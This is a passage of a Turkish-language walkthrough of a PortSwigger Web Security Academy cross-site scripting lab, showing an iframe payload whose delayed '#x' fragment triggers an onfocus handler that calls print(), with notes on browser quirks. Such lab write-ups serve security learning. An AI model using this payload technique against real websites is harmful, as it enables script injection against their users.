Ardından exploit sunucusuna gidip <iframe src=https://acbf1f161eb8d249c02ece4d006c00cd.web-security-academy.net/post?postId=3 onload=”setTimeout(()=>this.src=this.src+’#x’,500)”> şeklinde kendi sunucu adresimizin id değerini içeren bir iframe payloadı Store edeceğiz. Exploiti kurbana teslim ettikten (Deliver exploit to victim) sonra laboratuvarı çözmüş olacağız. URL’e, görüntülediğimiz blog gönderisinin postId değerini tanımlamayı unutmayalım :)

Gönderdiğimiz zararlı payloadın, JavaScript yürütülmeden önce yüklendiğinden emin olmak için gecikmeye bağlı bir komut çalıştırdık. Payloadımız yüklendiğinde, web sayfası 500 ms’lik bir gecikmeden sonra URL’nin sonuna #x parçasını ekleyecektir. Bu şekilde, tarayıcının “x” kimliğine sahip form öğesine odaklanmasına neden oluyoruz. Sonrasında onfocus olay işleyicisi print() işlevini çağırır ve zafiyet meydana gelir.

Congratulations, you solved the lab!

NOT: Son iki laboratuvar Firefox’ta çözümlenmeyebilir. Bu yüzden Chrome’da çözümlenmesi önerilmektedir.

NOT2: print() işlevini içeren XSS payloadlarını kullandığımız laboratuvarlarda, print() işlevi yerine alert(1) işlevini çağırabiliriz. Exploiti görüntülediğimizde pop-up uyarısı alarak exploitin çalıştığını bu şekilde de doğrulayabiliriz.

Read Entire Article